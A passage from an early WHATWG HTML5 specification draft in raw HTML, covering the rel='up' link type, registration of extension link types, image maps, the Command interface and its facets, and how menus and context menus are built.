"<dfn   id=up0 title=rel-up><code>up</code></dfn>"</h6>  <p>The <code title=rel-up><a href="#up0">up</a></code> keyword may be used   with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>The <code title=rel-up><a href="#up0">up</a></code> keyword indicates   that the document is part of a hierarchical structure, and that the link   is leading to the document that is the parent of the current document.</p>  <!-- idea: rel="up" vs rel="up up" vs rel="up up up top"    this would allow you to do breadcrumbs:     <nav>      <p>       <a href="/" rel="top up up up">Main</a> AMPERSANDgt;       <a href="/products/" rel="up up">Products</a> AMPERSANDgt;       <a href="/products/dishwashers" rel="up">Dishwashers</a> AMPERSANDgt;       Second hand      </p>     </nav>   -->  <h5 id=other1><span class=secno>4.3.3.19. </span>Other link types</h5>  <p>Other than the types defined above, only types defined as extensions in   the <a href="http://wiki.whatwg.org/wiki/RelExtensions">WHATWG Wiki   RelExtensions page</a> may be used with the <code title="">rel</code>   attribute on <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. <a href="#refsWHATWGWIKI">[WHATWGWIKI]</a>  <p>Anyone is free to edit the WHATWG Wiki RelExtensions page at any time to   add a type. Extension types must be specified with the following   information:  <dl>   <dt>Keyword   <dd>    <p>The actual value being defined. The value should not be confusingly     similar to any other defined value (e.g. differing only in case).   <dt>Effect on... <code><a href="#link0">link</a></code>   <dd>    <p>One of the following:</p>    <dl>     <dt>not allowed     <dd>The keyword is not allowed to be specified on <code><a      href="#link0">link</a></code> elements.     <dt>Hyperlink     <dd>The keyword may be specified on a <code><a      href="#link0">link</a></code> element; it creates a <a      href="#hyperlink0" title="hyperlink link">hyperlink link</a>.     <dt>External Resource     <dd>The keyword may be specified on a <code><a      href="#link0">link</a></code> element; it creates a <a href="#links1"      title="external resource link">external resource link</a>.    </dl>   <dt>Effect on... <code><a href="#a0">a</a></code> and <code><a    href="#area0">area</a></code>   <dd>    <p>One of the following:</p>    <dl>     <dt>not allowed     <dd>The keyword is not allowed to be specified on <code><a      href="#a0">a</a></code> and <code><a href="#area0">area</a></code>      elements.     <dt>Hyperlink     <dd>The keyword may be specified on <code><a href="#a0">a</a></code> and      <code><a href="#area0">area</a></code> elements; it creates a <a      href="#hyperlinks" title=hyperlink>hyperlink</a>.    </dl>   <dt>Brief description   <dd>    <p>A short description of what the keyword's meaning is.   <dt>Link to more details   <dd>    <p>A link to a more detailed description of the keyword's semantics and     requirements. It could be another page on the Wiki, or a link to an     external page.   <dt>Synonyms   <dd>    <p>A list of other keyword values that have exactly the same processing     requirements. Authors must not use the values defined to be synonyms,     they are only intended to allow user agents to support legacy content.   <dt>Status   <dd>    <p>One of the following:</p>    <dl>     <dt>Proposal     <dd>The keyword has not received wide peer review and approval. It is      included for completeness because pages use the keyword. Pages should      not use the keyword.     <dt>Accepted     <dd>The keyword has received wide peer review and approval. It has a      specification that unambiguously defines how to handle pages that use      the keyword, including when they use them in incorrect ways. Pages may      use the keyword.     <dt>Rejected     <dd>The keyword has received wide peer review and it has been found to      have significant problems. Pages must not use the keyword. When a      keyword has this status, the "Effect on... <code><a      href="#link0">link</a></code>" and "Effect on... <code><a      href="#a0">a</a></code> and <code><a href="#area0">area</a></code>"      information should be set to "not allowed".    </dl>    <p>If a keyword is added with the "proposal" status and found to be     redundant with existing values, it should be removed and listed as a     synonym for the existing value. If a keyword is added with the     "proposal" status and found to be harmful, then it should be changed to     "rejected" status, and its "Effect on..." information should be changed     accordingly.</p>  </dl>  <p>Conformance checkers must use the information given on the WHATWG Wiki   RelExtensions page to establish if a value not explicitly defined in this   specification is allowed or not. When an author uses a new type not   defined by either this specification or the Wiki page, conformance   checkers should offer to add the value to the Wiki, with the details   described above, with the "proposal" status.  <p>This specification does not define how new values will get approved. It   is expected that the Wiki will have a community that addresses this.  <h4 id=image-maps><span class=secno>4.3.4. </span>Image maps</h4>  <p class=big-issue>...<dfn id=image>image map</dfn>, <dfn id=valid5>valid   area</dfn>, <dfn id=usemap1   title=attr-hyperlink-usemap><code>usemap</code></dfn>, <dfn id=coords0   title=attr-area-coords><code>coords</code></dfn>, <dfn id=shape0   title=attr-area-shape><code>shape</code></dfn>, <dfn id=server>server side   image map</dfn>.</p>  <!-- usemap is special-cased when it starts with a "#".       does any browser support it when it doesn't? -->  <!-- http://lxr.mozilla.org/seamonkey/source/layout/generic/nsImageMap.cpp: parsing of coords, ordering of coord numbers when out of order -->  <!-- coords can take % values? (for radius?) -->  <p class=big-issue>default action of clicking an image is to check if   target was an image with usemap; if so, fire DOMActivate on the matching   <code><a href="#area0">area</a></code>, otherwise do nothing. (Or, do   click events clicked on areas fire directly on the area and not on the   img?)  <h3 id=commands><span class=secno>4.4. </span>Commands</h3>  <p>A <dfn id=command2 title=concept-command>command</dfn> is the   abstraction behind menu items, buttons, and links. Once a command is   defined, other parts of the interface can refer to the same command,   allowing many access points to a single feature to share aspects such as   the disabled state.  <p id=facets>Commands are defined to have the following <em>facets</em>:  <dl>   <dt><dfn id=type15 title=command-facet-Type>Type</dfn>   <dd>The kind of command: "command", meaning it is a normal command;    "radio", meaning that triggering the command will, amongst other things,    set the <a href="#checked2" title=command-facet-CheckedState>Checked    State</a> to true (and probably uncheck some other commands); or    "checkbox", meaning that triggering the command will, amongst other    things, toggle the value of the <a href="#checked2"    title=command-facet-CheckedState>Checked State</a>.   <dt><dfn id=id2 title=command-facet-ID>ID</dfn>   <dd>The name of the command, for referring to the command from the markup    or from script. If a command has no ID, it is an <dfn    id=anonymous>anonymous command</dfn>.   <dt><dfn id=label2 title=command-facet-Label>Label</dfn>   <dd>The name of the command as seen by the user.   <dt><dfn id=hint title=command-facet-Hint>Hint</dfn>   <dd>A helpful or descriptive string that can be shown to the user.   <dt><dfn id=icon3 title=command-facet-Icon>Icon</dfn>   <dd>A graphical image that represents the action.   <dt><dfn id=hidden1 title=command-facet-HiddenState>Hidden State</dfn>   <dd>Whether the command is hidden or not (basically, whether it should be    shown in menus).   <dt><dfn id=disabled5 title=command-facet-DisabledState>Disabled    State</dfn>   <dd>Whether the command can be triggered or not. If the <a href="#hidden1"    title=command-facet-HiddenState>Hidden State</a> is true (hidden) then    the <a href="#disabled5" title=command-facet-DisabledState>Disabled    State</a> will be true (disabled) regardless. <span class=issue>We could    make this into a string value that acts as a Hint for why the command is    disabled.</span>   <dt><dfn id=checked2 title=command-facet-CheckedState>Checked State</dfn>   <dd>Whether the command is checked or not.   <dt><dfn id=action title=command-facet-Action>Action</dfn>   <dd>The actual effect that triggering the command will have. This could be    a scripted event handler, a URI to which to navigate, or a form    submission.   <dt><dfn id=triggers title=command-facet-Triggers>Triggers</dfn>   <dd>The list of elements that can trigger the command. The element    defining a command is always in the list of elements that can trigger the    command. For anonymous commands, only the element defining the command is    on the list, since other elements have no way to refer to it.  </dl>  <p>Commands are represented by elements in the DOM. Any element that can   define a command also implements the <code title=command-ro><a   href="#command3">Command</a></code> interface:  <pre   class=idl>interface <dfn id=command3 title=command-ro>Command</dfn> {<!-- NOTE: to avoid clashing with the HTMLCommandElement interface's names,       the members of this interface use cross-references with the title       dom-command-ro-foo (note the "ro", which stands for "readonly").-->  readonly attribute DOMString <a href="#commandtype" title=dom-command-ro-commandType>commandType</a>;            readonly attribute DOMString <a href="#id3" title=dom-command-ro-id>id</a>;  readonly attribute DOMString <a href="#label3" title=dom-command-ro-label>label</a>;  readonly attribute DOMString <a href="#title9" title=dom-command-ro-title>title</a>;  readonly attribute DOMString <a href="#icon4" title=dom-command-ro-icon>icon</a>;  readonly attribute boolean <a href="#hidden2" title=dom-command-ro-hidden>hidden</a>;  readonly attribute boolean <a href="#disabled6" title=dom-command-ro-disabled>disabled</a>;                readonly attribute boolean <a href="#checked3" title=dom-command-ro-checked>checked</a>;                void <a href="#click1" title=dom-command-ro-click>click</a>();  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#triggers0" title=dom-command-ro-triggers>triggers</a>;  readonly attribute <a href="#command1">Command</a> <span title=dom-command-ro-command>command</span>;};</pre>  <p>The <code title=command-ro><a href="#command3">Command</a></code>   interface is implemented by any element capable of defining a command. (If   an element can define a command, its definition will list this interface   explicitly.) All the attributes of the <code title=command-ro><a   href="#command3">Command</a></code> interface are read-only. Elements   implementing this interface may implement other interfaces that have   attributes with identical names but that are mutable; in bindings that   simply flatten all supported interfaces on the object, the mutable   attributes must shadow the readonly attributes defined in the <code   title=command-ro><a href="#command3">Command</a></code> interface.  <p>The <dfn id=commandtype   title=dom-command-ro-commandType><code>commandType</code></dfn> attribute   must return a string whose value is either "<code   title="">command</code>", "<code title="">radio</code>", or "<code   title="">checked</code>", depending on whether the <a href="#type15"   title=command-facet-Type>Type</a> of the command defined by the element is   "command", "radio", or "checked" respectively. If the element does not   define a command, it must return null.  <p>The <dfn id=id3 title=dom-command-ro-id><code>id</code></dfn> attribute   must return the command's <a href="#id2" title=command-facet-ID>ID</a>, or   null if the element does not define a command or defines an <a   href="#anonymous">anonymous command</a>. This attribute will be shadowed   by the <code title=dom-id><a href="#id1">id</a></code> DOM attribute on   the <code><a href="#htmlelement">HTMLElement</a></code> interface.  <p>The <dfn id=label3 title=dom-command-ro-label><code>label</code></dfn>   attribute must return the command's <a href="#label2"   title=command-facet-Label>Label</a>, or null if the element does not   define a command or does not specify a <a href="#label2"   title=command-facet-Label>Label</a>. This attribute will be shadowed by   the <code title="">label</code> DOM attribute on <code>option</code> and   <code><a href="#command1">command</a></code> elements.  <p>The <dfn id=title9 title=dom-command-ro-title><code>title</code></dfn>   attribute must return the command's <a href="#hint"   title=command-facet-Hint>Hint</a>, or null if the element does not define   a command or does not specify a <a href="#hint"   title=command-facet-Hint>Hint</a>. This attribute will be shadowed by the   <code title=dom-title><a href="#title2">title</a></code> DOM attribute on   the <code><a href="#htmlelement">HTMLElement</a></code> interface.  <p>The <dfn id=icon4 title=dom-command-ro-icon><code>icon</code></dfn>   attribute must return an absolute URI to the command's <a href="#icon3"   title=command-facet-Icon>Icon</a>. If the element does not specify an   icon, or if the element does not define a command, then the attribute must   return null. This attribute will be shadowed by the <code   title=dom-command-icon><a href="#icon1">icon</a></code> DOM attribute on   <code><a href="#command1">command</a></code> elements.  <p>The <dfn id=hidden2   title=dom-command-ro-hidden><code>hidden</code></dfn> attribute must   return true if the command's <a href="#hidden1"   title=command-facet-HiddenState>Hidden State</a> is that the command is   hidden, and false if it is that the command is not hidden. If the element   does not define a command, the attribute must return false. This attribute   will be shadowed by the <code title=dom-command-hidden><a   href="#hidden0">hidden</a></code> DOM attribute on <code><a   href="#command1">command</a></code> elements.  <p>The <dfn id=disabled6   title=dom-command-ro-disabled><code>disabled</code></dfn> attribute must   return true if the command's <a href="#disabled5"   title=command-facet-DisabledState>Disabled State</a> is that the command   is disabled, and false if the command is not disabled. This attribute is   not affected by the command's <a href="#hidden1"   title=command-facet-HiddenState>Hidden State</a>. If the element does not   define a command, the attribute must return false. This attribute will be   shadowed by the <code title="">disabled</code> attribute on   <code>button</code>, <code>input</code>, <code>option</code>, and <code><a   href="#command1">command</a></code> elements.  <p>The <dfn id=checked3   title=dom-command-ro-checked><code>checked</code></dfn> attribute must   return true if the command's <a href="#checked2"   title=command-facet-CheckedState>Checked State</a> is that the command is   checked, and false if it is that the command is not checked. If the   element does not define a command, the attribute must return false. This   attribute will be shadowed by the <code title="">checked</code> attribute   on <code>input</code> and <code><a href="#command1">command</a></code>   elements.  <p>The <dfn id=click1 title=dom-command-ro-click><code>click()</code></dfn>   method must trigger the <a href="#action"   title=command-facet-Action>Action</a> for the command. If the element does   not define a command, this method must do nothing. This method will be   shadowed by the <code title=dom-click><a href="#click">click()</a></code>   method on HTML elements, and is included only for completeness.  <p>The <dfn id=triggers0   title=dom-command-ro-triggers><code>triggers</code></dfn> attribute must   return a list containing the elements that can trigger the command (the   command's <a href="#triggers" title=command-facet-Triggers>Triggers</a>).   The list must be <a href="#live">live</a>. While the element does not   define a command, the list must be empty.  <p>The <dfn id=commands0   title=dom-document-commands><code>commands</code></dfn> attribute of the   document's <code><a href="#htmldocument">HTMLDocument</a></code> interface   must return an <code><a href="#htmlcollection0">HTMLCollection</a></code>   rooted at the <code>Document</code> node, whose filter matches only   elements that define commands and have IDs.  <p>The following elements can define commands: <code title=a-command><a   href="#using8">a</a></code>, <code title=button-command><a   href="#using9">button</a></code>, <code title=input-command><a   href="#using10">input</a></code>, <code title=option-command><a   href="#using11">option</a></code>, <code title=command-element><a   href="#command4">command</a></code>.  <h4 id=using><span class=secno>4.4.1. </span><dfn id=using8   title=a-command>Using the <code>a</code> element to define a command</dfn></h4>  <p>An <code><a href="#a0">a</a></code> element with an <code   title=attr-hyperlink-href><a href="#href5">href</a></code> attribute <a   href="#command2" title=concept-command>defines a command</a>.  <p>The <a href="#type15" title=command-facet-Type>Type</a> of the command   is "command".  <p>The <a href="#id2" title=command-facet-ID>ID</a> of the command is the   value of the <code title=attr-id><a href="#id0">id</a></code> attribute of   the element, if the attribute is present and not empty. Otherwise the   command is an <a href="#anonymous">anonymous command</a>.  <p>The <a href="#label2" title=command-facet-Label>Label</a> of the command   is the string given by the element's <code><a   href="#textcontent">textContent</a></code> DOM attribute.  <p>The <a href="#hint" title=command-facet-Hint>Hint</a> of the command is   the value of the <code title=attr-title><a href="#title1">title</a></code>   attribute of the <code><a href="#a0">a</a></code> element. If the   attribute is not present, the <a href="#hint"   title=command-facet-Hint>Hint</a> is the empty string.  <p>The <a href="#icon3" title=command-facet-Icon>Icon</a> of the command is   the absolute URI of the first image in the element. Specifically, in a   depth-first search of the children of the element, the first element that   is <!--either an--> <code><a href="#img0">img</a></code> element with a   <code>src</code> attribute<!--, or an <code>object</code> element  with a <code>data</code> attribute, or, if the UA supports SVG, an  <code>svg</code> element in the SVG namespace with a valid <code  title="">id</code> attribute,-->   is the one that is used as the image.   <!--If it is an <code>img</code> element then--> The URI must be taken   from the element's <code>src</code> attribute. <!--If it is  an <code>object</code> element then the URI is taken from the  <code>data</code> attribute. -->   Relative URIs must be resolved relative to the base URI of the image   element. <!-- If it is an  <code>svg</code> element then the URI is formed by taking the URI of  the document and appending a "#" (U+0023 NUMBER SIGN) and the ID of  the element.-->   If no image is found, then the Icon facet is left blank.  <p>The <a href="#hidden1" title=command-facet-HiddenState>Hidden State</a>   and <a href="#disabled5" title=command-facet-DisabledState>Disabled   State</a> facets of the command are always false. (The command is always   enabled.)  <p>The <a href="#checked2" title=command-facet-CheckedState>Checked   State</a> of the command is always false. (The command is never checked.)  <p>The <a href="#action" title=command-facet-Action>Action</a> of the   command is to <a href="#firing" title="fire a click event">fire a <code   title="">click</code> event</a> at the element.  <h4 id=using0><span class=secno>4.4.2. </span><dfn id=using9   title=button-command>Using the <code>button</code> element to define a   command</dfn></h4>  <p>A <code>button</code> element always <a href="#command2"   title=concept-command>defines a command</a>.  <p>The <a href="#type15" title=command-facet-Type>Type</a>, <a href="#id2"   title=command-facet-ID>ID</a>, <a href="#label2"   title=command-facet-Label>Label</a>, <a href="#hint"   title=command-facet-Hint>Hint</a>, <a href="#icon3"   title=command-facet-Icon>Icon</a>, <a href="#hidden1"   title=command-facet-HiddenState>Hidden State</a>, <a href="#checked2"   title=command-facet-CheckedState>Checked State</a>, and <a href="#action"   title=command-facet-Action>Action</a> facets of the command are determined   <a href="#using8" title=a-command>as for <code>a</code> elements</a> (see   the previous section).  <p>The <a href="#disabled5" title=command-facet-DisabledState>Disabled   State</a> of the command mirrors the disabled state of the button.   Typically this is given by the element's <code   title=attr-button-disabled>disabled</code> attribute, but certain button   types become disabled at other times too (for example, the   <code>move-up</code> button type is disabled when it would have no   effect).  <h4 id=using1><span class=secno>4.4.3. </span><dfn id=using10   title=input-command>Using the <code>input</code> element to define a   command</dfn></h4>  <p>An <code>input</code> element whose <code   title=attr-input-type>type</code> attribute is one of <code>submit</code>,   <code>reset</code>, <code>button</code>, <code>radio</code>,   <code>checkbox</code>, <code>move-up</code>, <code>move-down</code>,   <code>add</code>, and <code>remove</code> <a href="#command2"   title=concept-command>defines a command</a>.  <p>The <a href="#type15" title=command-facet-Type>Type</a> of the command   is "radio" if the <code title=attr-input-type>type</code> attribute has   the value <code>radio</code>, "checkbox" if the <code>type</code>   attribute has the value <code>checkbox</code>, and "command" otherwise.  <p>The <a href="#id2" title=command-facet-ID>ID</a> of the command is the   value of the <code title=attr-id><a href="#id0">id</a></code> attribute of   the element, if the attribute is present and not empty. Otherwise the   command is an <a href="#anonymous">anonymous command</a>.  <p>The <a href="#label2" title=command-facet-Label>Label</a> of the command   depends on the Type of the command:  <p>If the <a href="#type15" title=command-facet-Type>Type</a> is "command",   then it is the string given by the <code   title=attr-input-value>value</code> attribute, if any, and a   <span>UA-dependent value</span><!-- XXX xref--> that the UA uses to label   the button itself if the attribute is absent.  <p>Otherwise, the <a href="#type15" title=command-facet-Type>Type</a> is   "radio" or "checkbox". If the element has a <code>label</code> element   associated with it, the <code><a   href="#textcontent">textContent</a></code> of the first such element is   the <a href="#label2" title=command-facet-Label>Label</a> (in DOM terms,   this the string given by <code><var   title="">element</var>.labels[0].textContent</code>). Otherwise, the value   of the <code><a href="#value">value</a></code> attribute, if present, is   the <a href="#label2" title=command-facet-Label>Label</a>. Otherwise, the   <a href="#label2" title=command-facet-Label>Label</a> is the empty string.  <p>The <a href="#hint" title=command-facet-Hint>Hint</a> of the command is   the value of the <code title=attr-title><a href="#title1">title</a></code>   attribute of the <code>input</code> element. If the attribute is not   present, the <a href="#hint" title=command-facet-Hint>Hint</a> is the   empty string.  <p>There is no <a href="#icon3" title=command-facet-Icon>Icon</a> for the   command.  <p>The <a href="#hidden1" title=command-facet-HiddenState>Hidden State</a>   of the command is always false. (The command is never hidden.)  <p>The <a href="#disabled5" title=command-facet-DisabledState>Disabled   State</a> of the command mirrors the disabled state of the control.   Typically this is given by the element's <code   title=attr-input-disabled>disabled</code> attribute, but certain input   types become disabled at other times too (for example, the   <code>move-up</code> input type is disabled when it would have no effect).  <p>The <a href="#checked2" title=command-facet-CheckedState>Checked   State</a> of the command is true if the command is of <a href="#type15"   title=command-facet-Type>Type</a> "radio" or "checkbox" and the element   has a <code title=attr-input-checked>checked</code> attribute, and false   otherwise.  <p>The <a href="#action" title=command-facet-Action>Action</a> of the   command is to <a href="#firing" title="fire a click event">fire a <code   title="">click</code> event</a> at the element.</p>  <!-- XXX this  is probably wrong for radio and checkbox types, depending on how we  define <input>. -->  <h4 id=using2><span class=secno>4.4.4. </span><dfn id=using11   title=option-command>Using the <code>option</code> element to define a   command</dfn></h4>  <p>An <code>option</code> element with an ancestor <code>select</code>   element and either no <code><a href="#value">value</a></code> attribute or   a <code><a href="#value">value</a></code> attribute that is not the empty   string <a href="#command2" title=concept-command>defines a command</a>.  <p>The <a href="#type15" title=command-facet-Type>Type</a> of the command   is "radio" if the <code>option</code>'s nearest ancestor   <code>select</code> element has no <code   title=attr-select-multiple>multiple</code> attribute, and "checkbox" if it   does.  <p>The <a href="#id2" title=command-facet-ID>ID</a> of the command is the   value of the <code title=attr-id><a href="#id0">id</a></code> attribute of   the element, if the attribute is present and not empty. Otherwise the   command is an <a href="#anonymous">anonymous command</a>.  <p>The <a href="#label2" title=command-facet-Label>Label</a> of the command   is the value of the <code>option</code> element's <code   title=attr-option-label>label</code> attribute, if there is one, or the   value of the <code>option</code> element's <code><a   href="#textcontent">textContent</a></code> DOM attribute if it doesn't.  <p>The <a href="#hint" title=command-facet-Hint>Hint</a> of the command is   the string given by the element's <code title=attr-title><a   href="#title1">title</a></code> attribute, if any, and the empty string if   the attribute is absent.  <p>There is no <a href="#icon3" title=command-facet-Icon>Icon</a> for the   command.  <p>The <a href="#hidden1" title=command-facet-HiddenState>Hidden State</a>   of the command is always false. (The command is never hidden.)  <p>The <a href="#disabled5" title=command-facet-DisabledState>Disabled   State</a> of the command is true (disabled) if the element has a <code   title=attr-option-disabled>disabled</code> attribute, and false otherwise.  <p>The <a href="#checked2" title=command-facet-CheckedState>Checked   State</a> of the command is true (checked) if the element's <code   title=dom-option-selected>selected</code> DOM attribute is true, and false   otherwise.  <p>The <a href="#action" title=command-facet-Action>Action</a> of the   command depends on its <a href="#type15"   title=command-facet-Type>Type</a>. If the command is of <a href="#type15"   title=command-facet-Type>Type</a> "radio" then this must set the <code   title=dom-option-selected>selected</code> DOM attribute of the   <code>option</code> element to true, otherwise it must toggle the state of   the <code title=dom-option-selected>selected</code> DOM attribute (set it   to true if it is false and vice versa). Then <a href="#firing0"   title="fire a change event">a <code title="">change</code> event must be   fired</a> on the <code>option</code> element's nearest ancestor   <code>select</code> element (if there is one), as if the selection had   been changed directly.  <h4 id=using3><span class=secno>4.4.5. </span>Using the <dfn id=command4   title=command-element><code>command</code></dfn> element to define a   command</h4>  <p>A <code><a href="#command1">command</a></code> element <a   href="#command2" title=concept-command>defines a command</a>.  <p>The <a href="#type15" title=command-facet-Type>Type</a> of the command   is "radio" if the <code><a href="#command1">command</a></code>'s <code   title=attr-command-type><a href="#type11">type</a></code> attribute is   "<code>radio</code>", "checkbox" if the attribute's value is   "<code>checkbox</code>", and "command" otherwise.  <p>The <a href="#id2" title=command-facet-ID>ID</a> of the command is the   value of the <code title=attr-id><a href="#id0">id</a></code> attribute of   the element, if the attribute is present and not empty. Otherwise the   command is an <a href="#anonymous">anonymous command</a>.  <p>The <a href="#label2" title=command-facet-Label>Label</a> of the command   is the value of the element's <code title=attr-command-label><a   href="#label">label</a></code> attribute, if there is one, or the empty   string if it doesn't.  <p>The <a href="#hint" title=command-facet-Hint>Hint</a> of the command is   the string given by the element's <code title=attr-command-title><a   href="#title8">title</a></code> attribute, if any, and the empty string if   the attribute is absent.  <p>The <a href="#icon3" title=command-facet-Icon>Icon</a> for the command   is the absolute URI resulting from resolving the value of the element's   <code title=attr-command-icon><a href="#icon0">icon</a></code> attribute   as a URI relative to the element's base URI. If the element has no <code   title=attr-command-icon><a href="#icon0">icon</a></code> attribute then   the command has no <a href="#icon3" title=command-facet-Icon>Icon</a>.  <p>The <a href="#hidden1" title=command-facet-HiddenState>Hidden State</a>   of the command is true (hidden) if the element has a <code   title=attr-command-hidden><a href="#hidden">hidden</a></code> attribute,   and false otherwise.  <p>The <a href="#disabled5" title=command-facet-DisabledState>Disabled   State</a> of the command is true (disabled) if the element has either a   <code title=attr-command-disabled><a href="#disabled3">disabled</a></code>   attribute or a <code title=attr-command-hidden><a   href="#hidden">hidden</a></code> attribute (or both), and false otherwise.  <p>The <a href="#checked2" title=command-facet-CheckedState>Checked   State</a> of the command is true (checked) if the element has a <code   title=attr-command-checked><a href="#checked0">checked</a></code>   attribute, and false otherwise.  <p>The <a href="#action" title=command-facet-Action>Action</a> of the   command is to invoke the behaviour described in the definition of the   <code title=dom-command-click><a href="#click0">click()</a></code> method   of the <code><a href="#htmlcommandelement0">HTMLCommandElement</a></code>   interface.</p>  <!-- XXX update to  point to dom-click when we remove dom-command-click -->  <h3 id=menus><span class=secno>4.5. </span>Menus</h3>  <h4 id=menus-intro><span class=secno>4.5.1. </span>Introduction</h4>  <p><em>This section is non-normative.</em>  <p class=big-issue>...</p>  <!--  <pre>AMPERSANDlt;menu type="commands"AMPERSANDgt; AMPERSANDlt;liAMPERSANDgt;  AMPERSANDlt;menu label="File"AMPERSANDgt;   AMPERSANDlt;button type="button" onclick="fnew()"AMPERSANDgt;New...AMPERSANDlt;/buttonAMPERSANDgt;   AMPERSANDlt;button type="button" onclick="fopen()"AMPERSANDgt;Open...AMPERSANDlt;/buttonAMPERSANDgt;   AMPERSANDlt;button type="button" onclick="fsave()" id="save"AMPERSANDgt;SaveAMPERSANDlt;/buttonAMPERSANDgt;   AMPERSANDlt;button type="button" onclick="fsaveas()"AMPERSANDgt;Save as...AMPERSANDlt;/buttonAMPERSANDgt;  AMPERSANDlt;/menuAMPERSANDgt; AMPERSANDlt;/liAMPERSANDgt; AMPERSANDlt;liAMPERSANDgt;  AMPERSANDlt;menu label="Edit"AMPERSANDgt;   AMPERSANDlt;button type="button" onclick="ecopy()"AMPERSANDgt;CopyAMPERSANDlt;/buttonAMPERSANDgt;   AMPERSANDlt;button type="button" onclick="ecut()"AMPERSANDgt;CutAMPERSANDlt;/buttonAMPERSANDgt;   AMPERSANDlt;button type="button" onclick="epaste()"AMPERSANDgt;PasteAMPERSANDlt;/buttonAMPERSANDgt;  AMPERSANDlt;/menuAMPERSANDgt; AMPERSANDlt;/liAMPERSANDgt; AMPERSANDlt;liAMPERSANDgt;  AMPERSANDlt;menu label="Help"AMPERSANDgt;   AMPERSANDlt;liAMPERSANDgt;AMPERSANDlt;a href="help.html"AMPERSANDgt;HelpAMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/liAMPERSANDgt;   AMPERSANDlt;liAMPERSANDgt;AMPERSANDlt;a href="about.html"AMPERSANDgt;AboutAMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/liAMPERSANDgt;  AMPERSANDlt;/menuAMPERSANDgt; AMPERSANDlt;/liAMPERSANDgt;AMPERSANDlt;/menubarAMPERSANDgt;...AMPERSANDlt;input command="save"/AMPERSANDgt; AMPERSANDlt;!- - This will act exactly like the                             Save button above, including reflecting                             its <code>disabled</code> state dynamically - -AMPERSANDgt;</pre>  <p>Here's some markup that falls back on the traditional abuse of  the <code>select</code> element as a navigation menu, but which is  implemented as a semi-correct menu using the new techniques of this  document:</p><pre>AMPERSANDlt;form action="redirect.cgi"AMPERSANDgt; AMPERSANDlt;menu type="commands"AMPERSANDgt;  AMPERSANDlt;label for="goto"AMPERSANDgt;Go to...AMPERSANDlt;/labelAMPERSANDgt;  AMPERSANDlt;menu label="Go"AMPERSANDgt;   AMPERSANDlt;select id="goto"           onchange="if (this.options[this.selectedIndex].value)                     window.location = this.options[this.selectedIndex].value"AMPERSANDgt;    AMPERSANDlt;option value="" selected="selected"AMPERSANDgt; Select site: AMPERSANDlt;/optionAMPERSANDgt;    AMPERSANDlt;option value="http://www.apple.com/"AMPERSANDgt; Apple AMPERSANDlt;/optionAMPERSANDgt;    AMPERSANDlt;option value="http://www.mozilla.org/"AMPERSANDgt; Mozilla AMPERSANDlt;/optionAMPERSANDgt;    AMPERSANDlt;option value="http://www.opera.com/"AMPERSANDgt; Opera AMPERSANDlt;/optionAMPERSANDgt;   AMPERSANDlt;/selectAMPERSANDgt;   AMPERSANDlt;spanAMPERSANDgt;AMPERSANDlt;input type="submit" value="Go"AMPERSANDgt;AMPERSANDlt;/spanAMPERSANDgt;  AMPERSANDlt;/menuAMPERSANDgt; AMPERSANDlt;/menubarAMPERSANDgt;AMPERSANDlt;/formAMPERSANDgt;</pre><form ...> <menu type="toolbar" autosubmit>  <li>   <select name="foo" onchange="form.submit()">     ...   </select>   <button>Go</button>  </li>  <li>   <select name="bar" onchange="form.submit()">     ...   </select>   <button>Go</button>  </li> </menu></form><form ...> <menu type="toolbar" autosubmit>  <menu label="Foo">   <select name="foo" onchange="form.submit()">     ...   </select>   <button>Go</button>  </menu>  <menu label="Bar">   <select name="bar" onchange="form.submit()">     ...   </select>   <button>Go</button>  </menu> </menu></form>-->  <h4 id=building><span class=secno>4.5.2. </span><dfn id=building1>Building   menus</dfn></h4>  <p>A menu consists of a list of zero or more of the following components:  <ul class=brief>   <li><a href="#command2" title=concept-command>Commands</a>, which can be    marked as default commands   <li>Separators   <li>Other menus (which allows the list to be nested)  </ul>  <p>The list corresponding to a particular element is built by iterating   over its child nodes.  <p>For each child node in <a href="#tree-order">tree order</a>, the   required behaviour depends on what the node is, as follows:  <dl class=switch>   <dt>An element that <a href="#command2" title=concept-command>defines a    command</a>   <dd>Append the command to the menu. If the element is a <code><a    href="#command1">command</a></code> element with a <code    title=attr-command-default><a href="#default">default</a></code>    attribute, mark the command as being a default command.   <dt>An <code><a href="#hr0">hr</a></code> element   <dt>An <code>option</code> element that has a <code    title=attr-option-value>value</code> attribute set to the empty string,    and has a <code title=attr-option-disabled>disabled</code> attribute, and    whose <code><a href="#textcontent">textContent</a></code> consists of a    string of one or more hyphens (U+002D HYPHEN-MINUS)   <dd>Append a separator to the menu.   <dt>An <code><a href="#li0">li</a></code> element   <dd>Iterate over the children of the <code><a href="#li0">li</a></code>    element.   <dt>A <code><a href="#menu0">menu</a></code> element with no <code    title=attr-menu-label><a href="#label1">label</a></code> attribute   <dt>A <code>select</code> element   <dd>Append a separator to the menu, then iterate over the children of the    <code><a href="#menu0">menu</a></code> or <code>select</code> element,    then append another separator.   <dt>A <code><a href="#menu0">menu</a></code> element with a <code    title=attr-menu-label><a href="#label1">label</a></code> attribute   <dt>An <code>optgroup</code> element   <dd>Append a submenu to the menu, using the value of the element's <code    title="">label</code> attribute as the label of the menu. The submenu    must be constructed by taking the element and creating a new menu for it    using the complete process described in this section.   <dt>Any other node   <dd><a href="#ignored">Ignore</a> the node.  </dl>  <p>Once all the nodes have been processed as described above, the user   agent must the post-process the menu as follows:  <ol>   <li>Any menu item with no label, or whose label is the empty string, must    be removed.   <li>Any sequence of two or more separators in a row must be collapsed to a    single separator.   <li>Any separator at the start or end of the menu must be removed.  </ol>  <h4 id=context><span class=secno>4.5.3. </span><dfn id=context2>Context   menus</dfn></h4>  <p>The <dfn id=contextmenu   title=attr-contextmenu><code>contextmenu</code></dfn> attribute gives the   element's <a href="#context2" title="context menus">context menu</a>. The   value must be the ID of a <code><a href="#menu0">menu</a></code> element   in the DOM. If the node that would be obtained by the invoking the   <code>getElementById()</code> method using the attribute's value as the   only argument is null or not a <code><a href="#menu0">menu</a></code>   element, then the element has no assigned context menu. Otherwise, the   element's assigned context menu is 